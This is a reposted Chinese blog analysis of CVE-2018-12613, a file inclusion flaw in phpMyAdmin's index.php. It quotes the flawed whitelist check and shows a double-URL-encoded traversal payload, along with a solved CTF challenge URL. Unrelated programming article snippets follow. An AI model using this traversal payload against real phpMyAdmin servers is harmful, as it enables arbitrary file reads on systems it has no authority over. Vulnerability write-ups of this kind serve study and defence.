CVE-2018-12613(远程文件包含)

news/2024/7/6 23:34:35
 
问题在index.php的55~63行
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

 

 
对于传递的参数有5个条件,如果满足就include包含参数
1.不为空
2.是字符串
3.不以index开头
4.不能出现在:$target_blacklist中
5.Core类的checkPageValidity方法判断
 
前三个基本忽略,第四个发现
/index.php
//line 50-52
$target_blacklist = array (
    'import.php', 'export.php'
);

 

也就是target不能是import.php和export.php
 
 
最后是Core类checkPageValidity函数判断
//443-478
public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
    if (in_array($page, $whitelist)) {
        return true;
    }
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    $_page = urldecode($page);
    
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    return false;
}

 

函数里又是五个判断:
1.$whitelist为空则引用静态声明:$goto_whitelist
2.如果$page没有被定义不是字符串则返回false
3.如果$page存在$whitepage则返回true
4.如果$_page存在$whitelist则返回true($_page是取出$page问号前面的东西)
5.经过url解码后$_Page存在$whitelist中则返回true
 
当index.php调用checkPageValidity时并没有传$whitelist的值,所以会进入self::$goto_whitelist;
public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
......
        'user_password.php',
    );

 

 
在$goto_whitelist中定义了可以被包含的文件名(很多,少些一部分)
 
第二个满足,直接跳过,第三个:
$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

 

 
如果$page等于$goto_whitelist某个值,则return true
这里考虑到target后面再跟参数的情况将$_page以?分割,然后去前面的字符再判断是否存在于$goto_whitelist中
还考虑到url编码的情况如果未成功下一步url解码
 
 
传入二次编码的内容就会让checkPageValidity后返回true
 
比如传入:?target=db_datadict.php%253f
服务器自动解码一次是?target=db_datadict.php%3f
在经过checkPageValidity函数解码变成:?target=db_datadict.php?
这便符合了?前面内容在白名单里会返回true,但是index.php中的$_REQUEST['target']仍然是db_datadict.php%3f,而且会被包含,通过目录穿越就会造成任意文件包含漏洞
 
例题: http://web5.buuoj.cn/
 flag: http://web5.buuoj.cn/source.php?file=source.php?../../../../../../../../ffffllllaaaagggg
 
参考: https://www.waitalone.cn/cve-2018-12613.html
           https://www.cnblogs.com/leixiao-/p/10265150.html 

转载于:https://www.cnblogs.com/yichen115/p/11313084.html


http://www.niftyadmin.cn/n/4646362.html

相关文章

Support Design库中的BottomSheetDialog组件使用

首先来看这个组件使用的经典案例,微信公众号文章操作功能显示: 首先要知道BottomSheetDialog有两种,第一种弹出后不影响主界面交互,第二种弹出后主界面变暗不能交互,这里分别进行使用。 1.首先是普通的BottomSheetDia…

Netty内存池ByteBuf 内存回收

内存池ByteBuf 内存回收: 在前面的章节中我们有提到, 堆外内存是不受JVM 垃圾回收机制控制的, 所以我们分配一块堆外内存进行ByteBuf 操作时, 使用完毕要对对象进行回收, 本节就以PooledUnsafeDirectByteBuf 为例讲解有关内存分配的相关逻辑。PooledUnsafeDirectByteBuf 中内存…

Android 导入库文件在主工程使用不了库文件的代码

主工程不识别这个文件 但是我明明加入这个lib库了为什么使用不了呢? 原因在这里 将库文件里面的build.gradle中的依赖implementation转换成api 然后sync一下 酱酱酱~~~不报错啦 是不是超级简单?

SocketChannel 读取ByteBuf 的过程

SocketChannel 读取ByteBuf 的过程: 我们首先看NioEventLoop 的processSelectedKey 方法: private void processSelectedKey(SelectionKey k, AbstractNioChannel ch) {//获取到channel 中的unsafefinal AbstractNioChannel.NioUnsafe unsafe ch.unsafe…

ReactNative学习实例(八) 第三方组件TabNavigator底部导航栏

TabNavigator是github上开源的一个rn组件,是适用于ios和安卓两个平台的底部导航栏。 组件地址:https://github.com/expo/react-native-tab-navigator 1.首先通过命令行将组件引入项目: 进入项目根目录并执行 npm install react-native-tab-…

switch-case内不能定义变量?

1. 报错 switch(something) { case a: int a 0; break; default: break;   } 结果报错: error: cannot jump from switch statement to this case label…… 2. 错误原因 究其根本原因,是C的一条规则:在任何作用域内…

RestTemplate-记录

org.springframework.web.client.RestTemplate 1、从使用功能上看,是一种简化请求响应的工具类,从发送请求,到对返回的结果进行json解析。格式不对会有异常。 转载于:https://www.cnblogs.com/fateSpace/p/11319311.html

ReactNative学习实例(九)数据永久化存储AsyncStorage

官方的使用文档在这里http://reactnative.cn/docs/0.43/asyncstorage.html#content AsyncStorage使用类似于安卓中sharedpreference的存储逻辑,从名字中就可以看出这是异步存储。调用的所有方法返回一个Promise对象,但是不需要对这个对象进行操作&#x…